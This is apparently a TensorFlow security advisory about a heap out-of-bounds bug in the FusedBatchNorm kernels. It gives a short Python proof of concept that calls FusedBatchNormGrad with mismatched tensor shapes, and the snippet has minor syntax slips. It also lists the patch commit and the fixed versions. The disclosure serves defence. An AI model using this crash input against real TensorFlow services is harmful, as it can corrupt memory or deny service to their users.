Heap OOB in `FusedBatchNorm` kernels

Impact

The [implementation](https://github.com/tensorflow/tensorflow/blob/e71b86d47f8bc1816bf54d7bddc4170e47670b97/tensorflow/core/kernels/fused_batch_norm_op.cc#L1292) of FusedBatchNorm kernels is vulnerable to a heap OOB:

```python

import tensorflow as tf

tf.raw_ops.FusedBatchNormGrad(

y_backprop=tf.constant([i for i in range(9)],shape=(1,1,3,3),dtype=tf.float32)

x=tf.constant([i for i in range(2)],shape=(1,1,1,2),dtype=tf.float32)

scale=[1,1],

reserve_space_1=[1,1],

reserve_space_2=[1,1,1],

epsilon=1.0,

data_format='NCHW',

is_training=True)

`

Patches

We have patched the issue in GitHub commit [aab9998916c2ffbd8f0592059fad352622f89cda](https://github.com/tensorflow/tensorflow/commit/aab9998916c2ffbd8f0592059fad352622f89cda).

The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.